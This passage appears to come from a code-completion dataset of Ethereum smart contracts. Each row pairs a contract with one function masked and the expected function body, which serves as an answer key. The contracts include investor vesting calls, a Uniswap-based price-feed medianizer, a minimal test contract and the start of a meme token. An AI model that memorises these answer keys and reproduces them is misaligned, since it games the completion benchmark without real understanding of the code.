_createVesting(investor_16_Wallet, 1466250000000000000000, june_30_2020);
_createVesting(investor_16_Wallet, 1466250000000000000000, december_31_2020);
_createVesting(investor_16_Wallet, 1466250000000000000000, june_30_2021);
_createVesting(investor_16_Wallet, 1466250000000000000000, december_31_2021);
// - Total: 616.250
_createVesting(investor_17_Wallet, 154062500000000000000000, june_30_2020);
_createVesting(investor_17_Wallet, 154062500000000000000000, december_31_2020);
_createVesting(investor_17_Wallet, 154062500000000000000000, june_30_2021);
_createVesting(investor_17_Wallet, 154062500000000000000000, december_31_2021);
// - Total: 308.125
_createVesting(investor_18_Wallet, 77031250000000000000000, june_30_2020);
_createVesting(investor_18_Wallet, 77031250000000000000000, december_31_2020);
_createVesting(investor_18_Wallet, 77031250000000000000000, june_30_2021);
_createVesting(investor_18_Wallet, 77031250000000000000000, december_31_2021);
// - Total: 63.750
_createVesting(investor_19_Wallet, 15937500000000000000000, june_30_2020);
_createVesting(investor_19_Wallet, 15937500000000000000000, december_31_2020);
_createVesting(investor_19_Wallet, 15937500000000000000000, june_30_2021);
_createVesting(investor_19_Wallet, 15937500000000000000000, december_31_2021);
// - Total: 1.020.000
_createVesting(investor_20_Wallet, 255000000000000000000000, june_30_2020);
_createVesting(investor_20_Wallet, 255000000000000000000000, december_31_2020);
_createVesting(investor_20_Wallet, 255000000000000000000000, june_30_2021);
_createVesting(investor_20_Wallet, 255000000000000000000000, december_31_2021);
// - Total: 311.367
_createVesting(investor_21_Wallet, 77841750000000000000000, june_30_2020);
_createVesting(investor_21_Wallet, 77841750000000000000000, december_31_2020);
_createVesting(investor_21_Wallet, 77841750000000000000000, june_30_2021);
_createVesting(investor_21_Wallet, 77841750000000000000000, december_31_2021);
// - Total: 1.636.250
_createVesting(investor_22_Wallet, 409062500000000000000000, june_30_2020);
_createVesting(investor_22_Wallet, 409062500000000000000000, december_31_2020);
_createVesting(investor_22_Wallet, 409062500000000000000000, june_30_2021);
_createVesting(investor_22_Wallet, 409062500000000000000000, december_31_2021);
| function _initializeInvestorsAdvisors2() public onlyOwner | function _initializeInvestorsAdvisors2() public onlyOwner |
82413 | UniswapConsecutiveSlotsPriceFeedMedianizer | null | contract UniswapConsecutiveSlotsPriceFeedMedianizer is IncreasingTreasuryReimbursement, UniswapV2Library, UniswapV2OracleLibrary {
// --- Observations ---
struct UniswapObservation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
struct ConverterFeedObservation {
uint timestamp;
uint timeAdjustedPrice;
}
// --- Uniswap Vars ---
// Default amount of targetToken used when calculating the denominationToken output
uint256 public defaultAmountIn;
// Token for which the contract calculates the medianPrice for
address public targetToken;
// Pair token from the Uniswap pair
address public denominationToken;
address public uniswapPair;
IUniswapV2Factory public uniswapFactory;
UniswapObservation[] public uniswapObservations;
// --- Converter Feed Vars ---
// Latest converter price accumulator snapshot
uint256 public converterPriceCumulative;
ConverterFeedLike public converterFeed;
ConverterFeedObservation[] public converterFeedObservations;
// --- General Vars ---
// Symbol - you want to change this every deployment
bytes32 public symbol = "raiusd";
uint8 public granularity;
// When the price feed was last updated
uint256 public lastUpdateTime;
// Total number of updates
uint256 public updates;
/**
The ideal amount of time over which the moving average should be computed, e.g. 24 hours.
In practice it can and most probably will be different than the actual window over which the contract medianizes.
**/
uint256 public windowSize;
// Maximum window size used to determine if the median is 'valid' (close to the real one) or not
uint256 public maxWindowSize;
// Stored for gas savings. Equals windowSize / granularity
uint256 public periodSize;
// This is the denominator for computing
uint256 public converterFeedScalingFactor;
// The last computed median price
uint256 private medianPrice;
// Manual flag that can be set by governance and indicates if a result is valid or not
uint256 public validityFlag;
// --- Events ---
event UpdateResult(uint256 medianPrice, uint256 lastUpdateTime);
event FailedConverterFeedUpdate(bytes reason);
event FailedUniswapPairSync(bytes reason);
constructor(
address converterFeed_,
address uniswapFactory_,
address treasury_,
uint256 defaultAmountIn_,
uint256 windowSize_,
uint256 converterFeedScalingFactor_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 maxWindowSize_,
uint8 granularity_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {<FILL_FUNCTION_BODY> }
// --- Administration ---
/**
* @notice Modify the converter feed address
* @param parameter Name of the parameter to modify
* @param data New parameter value
**/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-data");
if (parameter == "converterFeed") {
require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-converter-feed");
converterFeed = ConverterFeedLike(data);
}
else if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(data).systemCoin() != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(data);
}
else if (parameter == "targetToken") {
require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set");
targetToken = data;
if (denominationToken != address(0)) {
uniswapPair = uniswapFactory.getPair(targetToken, denominationToken);
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
}
}
else if (parameter == "denominationToken") {
require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set");
denominationToken = data;
if (targetToken != address(0)) {
uniswapPair = uniswapFactory.getPair(targetToken, denominationToken);
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
}
}
else revert("UniswapConsecutiveSlotsPriceFeedMedianizer/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "baseUpdateCallerReward") baseUpdateCallerReward = data;
else if (parameter == "validityFlag") {
require(either(data == 1, data == 0), "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-data");
validityFlag = data;
}
else if (parameter == "maxUpdateCallerReward") {
require(data > baseUpdateCallerReward, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-reward");
maxUpdateCallerReward = data;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(data >= RAY, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-reward-increase");
perSecondCallerRewardIncrease = data;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(data > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-increase-delay");
maxRewardIncreaseDelay = data;
}
else if (parameter == "defaultAmountIn") {
require(data > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-default-amount-in");
defaultAmountIn = data;
}
else if (parameter == "maxWindowSize") {
require(data > windowSize, 'UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-window-size');
maxWindowSize = data;
}
else revert("UniswapConsecutiveSlotsPriceFeedMedianizer/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
// --- General Utils ---
function both(bool x, bool y) private pure returns (bool z) {
assembly{ z := and(x, y)}
}
/**
* @notice Returns the oldest observations (relative to the current index in the Uniswap/Converter lists)
**/
function getFirstObservationsInWindow()
private view returns (UniswapObservation storage firstUniswapObservation, ConverterFeedObservation storage firstConverterFeedObservation) {
uint256 earliestObservationIndex = earliestObservationIndex();
firstUniswapObservation = uniswapObservations[earliestObservationIndex];
firstConverterFeedObservation = converterFeedObservations[earliestObservationIndex];
}
/**
@notice It returns the time passed since the first observation in the window
**/
function timeElapsedSinceFirstObservation() public view returns (uint256) {
if (updates > 1) {
(
UniswapObservation storage firstUniswapObservation,
) = getFirstObservationsInWindow();
return subtract(now, firstUniswapObservation.timestamp);
}
return 0;
}
/**
* @notice Calculate the median price using the latest observations and the latest Uniswap pair prices
* @param price0Cumulative Cumulative price for the first token in the pair
* @param price1Cumulative Cumulative price for the second token in the pair
**/
function getMedianPrice(uint256 price0Cumulative, uint256 price1Cumulative) private view returns (uint256) {
if (updates > 1) {
(
UniswapObservation storage firstUniswapObservation,
) = getFirstObservationsInWindow();
uint timeSinceFirst = subtract(now, firstUniswapObservation.timestamp);
(address token0,) = sortTokens(targetToken, denominationToken);
uint256 uniswapAmountOut;
if (token0 == targetToken) {
uniswapAmountOut = uniswapComputeAmountOut(
firstUniswapObservation.price0Cumulative, price0Cumulative, timeSinceFirst, defaultAmountIn
);
} else {
uniswapAmountOut = uniswapComputeAmountOut(
firstUniswapObservation.price1Cumulative, price1Cumulative, timeSinceFirst, defaultAmountIn
);
}
return converterComputeAmountOut(timeSinceFirst, uniswapAmountOut);
}
return medianPrice;
}
/**
* @notice Returns the index of the earliest observation in the window
**/
function earliestObservationIndex() public view returns (uint256) {
if (updates <= granularity) {
return 0;
}
return subtract(updates, uint(granularity));
}
/**
* @notice Get the observation list length
**/
function getObservationListLength() public view returns (uint256, uint256) {
return (uniswapObservations.length, converterFeedObservations.length);
}
// --- Uniswap Utils ---
/**
* @notice Given the Uniswap cumulative prices of the start and end of a period, and the length of the period, compute the average
* price in terms of how much amount out is received for the amount in.
* @param priceCumulativeStart Old snapshot of the cumulative price of a token
* @param priceCumulativeEnd New snapshot of the cumulative price of a token
* @param timeElapsed Total time elapsed
* @param amountIn Amount of target tokens we want to find the price for
**/
function uniswapComputeAmountOut(
uint256 priceCumulativeStart,
uint256 priceCumulativeEnd,
uint256 timeElapsed,
uint256 amountIn
) public pure returns (uint256 amountOut) {
require(priceCumulativeEnd >= priceCumulativeStart, "UniswapConverterBasicAveragePriceFeedMedianizer/invalid-end-cumulative");
require(timeElapsed > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/null-time-elapsed");
// Overflow is desired
uq112x112 memory priceAverage = uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = decode144(mul(priceAverage, amountIn));
}
// --- Converter Utils ---
/**
* @notice Calculate the price of an amount of tokens using the converter price feed as well as the time elapsed between
* the latest timestamp and the timestamp of the earliest observation in the window.
* Used after the contract determines the amount of Uniswap pair denomination tokens for amountIn target tokens
* @param timeElapsed Time elapsed between now and the earliest observation in the window.
* @param amountIn Amount of denomination tokens to calculate the price for
**/
function converterComputeAmountOut(
uint256 timeElapsed,
uint256 amountIn
) public view returns (uint256 amountOut) {
require(timeElapsed > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/null-time-elapsed");
uint256 priceAverage = converterPriceCumulative / timeElapsed;
amountOut = multiply(amountIn, priceAverage) / converterFeedScalingFactor;
}
// --- Core Logic ---
/**
* @notice Update the internal median price
**/
function updateResult(address feeReceiver) external {
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
// Get final fee receiver
address finalFeeReceiver = (feeReceiver == address(0)) ? msg.sender : feeReceiver;
// Update the converter's median price first
try converterFeed.updateResult(finalFeeReceiver) {}
catch (bytes memory converterRevertReason) {
emit FailedConverterFeedUpdate(converterRevertReason);
}
// Get the observation for the current period
uint256 timeElapsedSinceLatest = (uniswapObservations.length == 0) ?
subtract(now, lastUpdateTime) : subtract(now, uniswapObservations[uniswapObservations.length - 1].timestamp);
// We only want to commit updates once per period (i.e. windowSize / granularity)
if (uniswapObservations.length > 0) {
require(timeElapsedSinceLatest >= periodSize, "UniswapConsecutiveSlotsPriceFeedMedianizer/not-enough-time-elapsed");
}
// Update Uniswap pair
try IUniswapV2Pair(uniswapPair).sync() {}
catch (bytes memory uniswapRevertReason) {
emit FailedUniswapPairSync(uniswapRevertReason);
}
// Get the last update time used when calculating the reward
uint256 rewardCalculationLastUpdateTime = (uniswapObservations.length == 0) ? 0 : lastUpdateTime;
// Get caller's reward
uint256 callerReward = getCallerReward(rewardCalculationLastUpdateTime, periodSize);
// Get Uniswap cumulative prices
(uint uniswapPrice0Cumulative, uint uniswapPrice1Cumulative,) = currentCumulativePrices(uniswapPair);
// Add new observations
updateObservations(timeElapsedSinceLatest, uniswapPrice0Cumulative, uniswapPrice1Cumulative);
// Calculate latest medianPrice
medianPrice = getMedianPrice(uniswapPrice0Cumulative, uniswapPrice1Cumulative);
lastUpdateTime = now;
updates = addition(updates, 1);
emit UpdateResult(medianPrice, lastUpdateTime);
// Reward caller
rewardCaller(feeReceiver, callerReward);
}
/**
* @notice Push new observation data in the observation arrays
* @param timeElapsedSinceLatest Time elapsed between now and the earliest observation in the window
* @param uniswapPrice0Cumulative Latest cumulative price of the first token in a Uniswap pair
* @param uniswapPrice1Cumulative Latest cumulative price of the second tokens in a Uniswap pair
**/
function updateObservations(
uint256 timeElapsedSinceLatest,
uint256 uniswapPrice0Cumulative,
uint256 uniswapPrice1Cumulative
) internal {
// Add converter feed observation
(uint256 priceFeedValue, bool hasValidValue) = converterFeed.getResultWithValidity();
require(hasValidValue, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-converter-price-feed");
uint256 newTimeAdjustedPrice = multiply(priceFeedValue, timeElapsedSinceLatest);
// Add converter observation
converterFeedObservations.push(ConverterFeedObservation(now, newTimeAdjustedPrice));
// Add Uniswap observation
uniswapObservations.push(UniswapObservation(now, uniswapPrice0Cumulative, uniswapPrice1Cumulative));
// Add the new update
converterPriceCumulative = addition(converterPriceCumulative, newTimeAdjustedPrice);
// Subtract the earliest update
if (updates >= granularity) {
(
,
ConverterFeedObservation storage firstConverterFeedObservation
) = getFirstObservationsInWindow();
converterPriceCumulative = subtract(converterPriceCumulative, firstConverterFeedObservation.timeAdjustedPrice);
}
}
// --- Getters ---
/**
* @notice Fetch the latest medianPrice or revert if is is null
**/
function read() external view returns (uint256) {
require(
both(both(both(medianPrice > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize), validityFlag == 1),
"UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-price-feed"
);
return medianPrice;
}
/**
* @notice Fetch the latest medianPrice and whether it is null or not
**/
function getResultWithValidity() external view returns (uint256, bool) {
return (
medianPrice,
both(both(both(medianPrice > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize), validityFlag == 1)
);
}
} | contract UniswapConsecutiveSlotsPriceFeedMedianizer is IncreasingTreasuryReimbursement, UniswapV2Library, UniswapV2OracleLibrary {
// --- Observations ---
struct UniswapObservation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
struct ConverterFeedObservation {
uint timestamp;
uint timeAdjustedPrice;
}
// --- Uniswap Vars ---
// Default amount of targetToken used when calculating the denominationToken output
uint256 public defaultAmountIn;
// Token for which the contract calculates the medianPrice for
address public targetToken;
// Pair token from the Uniswap pair
address public denominationToken;
address public uniswapPair;
IUniswapV2Factory public uniswapFactory;
UniswapObservation[] public uniswapObservations;
// --- Converter Feed Vars ---
// Latest converter price accumulator snapshot
uint256 public converterPriceCumulative;
ConverterFeedLike public converterFeed;
ConverterFeedObservation[] public converterFeedObservations;
// --- General Vars ---
// Symbol - you want to change this every deployment
bytes32 public symbol = "raiusd";
uint8 public granularity;
// When the price feed was last updated
uint256 public lastUpdateTime;
// Total number of updates
uint256 public updates;
/**
The ideal amount of time over which the moving average should be computed, e.g. 24 hours.
In practice it can and most probably will be different than the actual window over which the contract medianizes.
**/
uint256 public windowSize;
// Maximum window size used to determine if the median is 'valid' (close to the real one) or not
uint256 public maxWindowSize;
// Stored for gas savings. Equals windowSize / granularity
uint256 public periodSize;
// This is the denominator for computing
uint256 public converterFeedScalingFactor;
// The last computed median price
uint256 private medianPrice;
// Manual flag that can be set by governance and indicates if a result is valid or not
uint256 public validityFlag;
// --- Events ---
event UpdateResult(uint256 medianPrice, uint256 lastUpdateTime);
event FailedConverterFeedUpdate(bytes reason);
event FailedUniswapPairSync(bytes reason);
<FILL_FUNCTION>
// --- Administration ---
/**
* @notice Modify the converter feed address
* @param parameter Name of the parameter to modify
* @param data New parameter value
**/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-data");
if (parameter == "converterFeed") {
require(data != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-converter-feed");
converterFeed = ConverterFeedLike(data);
}
else if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(data).systemCoin() != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(data);
}
else if (parameter == "targetToken") {
require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set");
targetToken = data;
if (denominationToken != address(0)) {
uniswapPair = uniswapFactory.getPair(targetToken, denominationToken);
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
}
}
else if (parameter == "denominationToken") {
require(uniswapPair == address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/pair-already-set");
denominationToken = data;
if (targetToken != address(0)) {
uniswapPair = uniswapFactory.getPair(targetToken, denominationToken);
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
}
}
else revert("UniswapConsecutiveSlotsPriceFeedMedianizer/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "baseUpdateCallerReward") baseUpdateCallerReward = data;
else if (parameter == "validityFlag") {
require(either(data == 1, data == 0), "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-data");
validityFlag = data;
}
else if (parameter == "maxUpdateCallerReward") {
require(data > baseUpdateCallerReward, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-reward");
maxUpdateCallerReward = data;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(data >= RAY, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-reward-increase");
perSecondCallerRewardIncrease = data;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(data > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-increase-delay");
maxRewardIncreaseDelay = data;
}
else if (parameter == "defaultAmountIn") {
require(data > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-default-amount-in");
defaultAmountIn = data;
}
else if (parameter == "maxWindowSize") {
require(data > windowSize, 'UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-window-size');
maxWindowSize = data;
}
else revert("UniswapConsecutiveSlotsPriceFeedMedianizer/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
// --- General Utils ---
function both(bool x, bool y) private pure returns (bool z) {
assembly{ z := and(x, y)}
}
/**
* @notice Returns the oldest observations (relative to the current index in the Uniswap/Converter lists)
**/
function getFirstObservationsInWindow()
private view returns (UniswapObservation storage firstUniswapObservation, ConverterFeedObservation storage firstConverterFeedObservation) {
uint256 earliestObservationIndex = earliestObservationIndex();
firstUniswapObservation = uniswapObservations[earliestObservationIndex];
firstConverterFeedObservation = converterFeedObservations[earliestObservationIndex];
}
/**
@notice It returns the time passed since the first observation in the window
**/
function timeElapsedSinceFirstObservation() public view returns (uint256) {
if (updates > 1) {
(
UniswapObservation storage firstUniswapObservation,
) = getFirstObservationsInWindow();
return subtract(now, firstUniswapObservation.timestamp);
}
return 0;
}
/**
* @notice Calculate the median price using the latest observations and the latest Uniswap pair prices
* @param price0Cumulative Cumulative price for the first token in the pair
* @param price1Cumulative Cumulative price for the second token in the pair
**/
function getMedianPrice(uint256 price0Cumulative, uint256 price1Cumulative) private view returns (uint256) {
if (updates > 1) {
(
UniswapObservation storage firstUniswapObservation,
) = getFirstObservationsInWindow();
uint timeSinceFirst = subtract(now, firstUniswapObservation.timestamp);
(address token0,) = sortTokens(targetToken, denominationToken);
uint256 uniswapAmountOut;
if (token0 == targetToken) {
uniswapAmountOut = uniswapComputeAmountOut(
firstUniswapObservation.price0Cumulative, price0Cumulative, timeSinceFirst, defaultAmountIn
);
} else {
uniswapAmountOut = uniswapComputeAmountOut(
firstUniswapObservation.price1Cumulative, price1Cumulative, timeSinceFirst, defaultAmountIn
);
}
return converterComputeAmountOut(timeSinceFirst, uniswapAmountOut);
}
return medianPrice;
}
/**
* @notice Returns the index of the earliest observation in the window
**/
function earliestObservationIndex() public view returns (uint256) {
if (updates <= granularity) {
return 0;
}
return subtract(updates, uint(granularity));
}
/**
* @notice Get the observation list length
**/
function getObservationListLength() public view returns (uint256, uint256) {
return (uniswapObservations.length, converterFeedObservations.length);
}
// --- Uniswap Utils ---
/**
* @notice Given the Uniswap cumulative prices of the start and end of a period, and the length of the period, compute the average
* price in terms of how much amount out is received for the amount in.
* @param priceCumulativeStart Old snapshot of the cumulative price of a token
* @param priceCumulativeEnd New snapshot of the cumulative price of a token
* @param timeElapsed Total time elapsed
* @param amountIn Amount of target tokens we want to find the price for
**/
function uniswapComputeAmountOut(
uint256 priceCumulativeStart,
uint256 priceCumulativeEnd,
uint256 timeElapsed,
uint256 amountIn
) public pure returns (uint256 amountOut) {
require(priceCumulativeEnd >= priceCumulativeStart, "UniswapConverterBasicAveragePriceFeedMedianizer/invalid-end-cumulative");
require(timeElapsed > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/null-time-elapsed");
// Overflow is desired
uq112x112 memory priceAverage = uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = decode144(mul(priceAverage, amountIn));
}
// --- Converter Utils ---
/**
* @notice Calculate the price of an amount of tokens using the converter price feed as well as the time elapsed between
* the latest timestamp and the timestamp of the earliest observation in the window.
* Used after the contract determines the amount of Uniswap pair denomination tokens for amountIn target tokens
* @param timeElapsed Time elapsed between now and the earliest observation in the window.
* @param amountIn Amount of denomination tokens to calculate the price for
**/
function converterComputeAmountOut(
uint256 timeElapsed,
uint256 amountIn
) public view returns (uint256 amountOut) {
require(timeElapsed > 0, "UniswapConsecutiveSlotsPriceFeedMedianizer/null-time-elapsed");
uint256 priceAverage = converterPriceCumulative / timeElapsed;
amountOut = multiply(amountIn, priceAverage) / converterFeedScalingFactor;
}
// --- Core Logic ---
/**
* @notice Update the internal median price
**/
function updateResult(address feeReceiver) external {
require(uniswapPair != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-pair");
// Get final fee receiver
address finalFeeReceiver = (feeReceiver == address(0)) ? msg.sender : feeReceiver;
// Update the converter's median price first
try converterFeed.updateResult(finalFeeReceiver) {}
catch (bytes memory converterRevertReason) {
emit FailedConverterFeedUpdate(converterRevertReason);
}
// Get the observation for the current period
uint256 timeElapsedSinceLatest = (uniswapObservations.length == 0) ?
subtract(now, lastUpdateTime) : subtract(now, uniswapObservations[uniswapObservations.length - 1].timestamp);
// We only want to commit updates once per period (i.e. windowSize / granularity)
if (uniswapObservations.length > 0) {
require(timeElapsedSinceLatest >= periodSize, "UniswapConsecutiveSlotsPriceFeedMedianizer/not-enough-time-elapsed");
}
// Update Uniswap pair
try IUniswapV2Pair(uniswapPair).sync() {}
catch (bytes memory uniswapRevertReason) {
emit FailedUniswapPairSync(uniswapRevertReason);
}
// Get the last update time used when calculating the reward
uint256 rewardCalculationLastUpdateTime = (uniswapObservations.length == 0) ? 0 : lastUpdateTime;
// Get caller's reward
uint256 callerReward = getCallerReward(rewardCalculationLastUpdateTime, periodSize);
// Get Uniswap cumulative prices
(uint uniswapPrice0Cumulative, uint uniswapPrice1Cumulative,) = currentCumulativePrices(uniswapPair);
// Add new observations
updateObservations(timeElapsedSinceLatest, uniswapPrice0Cumulative, uniswapPrice1Cumulative);
// Calculate latest medianPrice
medianPrice = getMedianPrice(uniswapPrice0Cumulative, uniswapPrice1Cumulative);
lastUpdateTime = now;
updates = addition(updates, 1);
emit UpdateResult(medianPrice, lastUpdateTime);
// Reward caller
rewardCaller(feeReceiver, callerReward);
}
/**
* @notice Push new observation data in the observation arrays
* @param timeElapsedSinceLatest Time elapsed between now and the earliest observation in the window
* @param uniswapPrice0Cumulative Latest cumulative price of the first token in a Uniswap pair
* @param uniswapPrice1Cumulative Latest cumulative price of the second tokens in a Uniswap pair
**/
function updateObservations(
uint256 timeElapsedSinceLatest,
uint256 uniswapPrice0Cumulative,
uint256 uniswapPrice1Cumulative
) internal {
// Add converter feed observation
(uint256 priceFeedValue, bool hasValidValue) = converterFeed.getResultWithValidity();
require(hasValidValue, "UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-converter-price-feed");
uint256 newTimeAdjustedPrice = multiply(priceFeedValue, timeElapsedSinceLatest);
// Add converter observation
converterFeedObservations.push(ConverterFeedObservation(now, newTimeAdjustedPrice));
// Add Uniswap observation
uniswapObservations.push(UniswapObservation(now, uniswapPrice0Cumulative, uniswapPrice1Cumulative));
// Add the new update
converterPriceCumulative = addition(converterPriceCumulative, newTimeAdjustedPrice);
// Subtract the earliest update
if (updates >= granularity) {
(
,
ConverterFeedObservation storage firstConverterFeedObservation
) = getFirstObservationsInWindow();
converterPriceCumulative = subtract(converterPriceCumulative, firstConverterFeedObservation.timeAdjustedPrice);
}
}
// --- Getters ---
/**
* @notice Fetch the latest medianPrice or revert if is is null
**/
function read() external view returns (uint256) {
require(
both(both(both(medianPrice > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize), validityFlag == 1),
"UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-price-feed"
);
return medianPrice;
}
/**
* @notice Fetch the latest medianPrice and whether it is null or not
**/
function getResultWithValidity() external view returns (uint256, bool) {
return (
medianPrice,
both(both(both(medianPrice > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize), validityFlag == 1)
);
}
} |
require(uniswapFactory_ != address(0), "UniswapConsecutiveSlotsPriceFeedMedianizer/null-uniswap-factory");
require(granularity_ > 1, 'UniswapConsecutiveSlotsPriceFeedMedianizer/null-granularity');
require(windowSize_ > 0, 'UniswapConsecutiveSlotsPriceFeedMedianizer/null-window-size');
require(maxWindowSize_ > windowSize_, 'UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-max-window-size');
require(defaultAmountIn_ > 0, 'UniswapConsecutiveSlotsPriceFeedMedianizer/invalid-default-amount-in');
require(converterFeedScalingFactor_ > 0, 'UniswapConsecutiveSlotsPriceFeedMedianizer/null-feed-scaling-factor');
require(
(periodSize = windowSize_ / granularity_) * granularity_ == windowSize_,
'UniswapConsecutiveSlotsPriceFeedMedianizer/window-not-evenly-divisible'
);
converterFeed = ConverterFeedLike(converterFeed_);
uniswapFactory = IUniswapV2Factory(uniswapFactory_);
defaultAmountIn = defaultAmountIn_;
windowSize = windowSize_;
maxWindowSize = maxWindowSize_;
converterFeedScalingFactor = converterFeedScalingFactor_;
granularity = granularity_;
lastUpdateTime = now;
validityFlag = 1;
// Emit events
emit ModifyParameters(bytes32("converterFeed"), converterFeed_);
emit ModifyParameters(bytes32("maxWindowSize"), maxWindowSize_);
| constructor(
address converterFeed_,
address uniswapFactory_,
address treasury_,
uint256 defaultAmountIn_,
uint256 windowSize_,
uint256 converterFeedScalingFactor_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 maxWindowSize_,
uint8 granularity_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) | constructor(
address converterFeed_,
address uniswapFactory_,
address treasury_,
uint256 defaultAmountIn_,
uint256 windowSize_,
uint256 converterFeedScalingFactor_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 maxWindowSize_,
uint8 granularity_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) |
41077 | Test | execute | contract Test {
event testLog(address indexed account, uint amount);
constructor() public {
emit testLog(msg.sender, block.number);
}
function execute(uint number) public returns (bool) {<FILL_FUNCTION_BODY> }
} | contract Test {
event testLog(address indexed account, uint amount);
constructor() public {
emit testLog(msg.sender, block.number);
}
<FILL_FUNCTION>
} |
emit testLog(msg.sender, number);
return true;
| function execute(uint number) public returns (bool) | function execute(uint number) public returns (bool) |
76598 | DAWAE | _transfer | contract DAWAE is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000000 * 10**9;
string private m_Name = "Uganda Knuckles";
string private m_Symbol = "DAWAE";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(25); // 4% supply
uint256 private m_TxLimit = TOTAL_SUPPLY.div(25); // 4% supply
bool private m_Liquidity = false;
event SetTxLimit(uint TxLimit);
// MISC
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
bool private m_Launched = false;
bool private m_IsSwap = false;
bool private _limitTX = true;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
initTax();
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
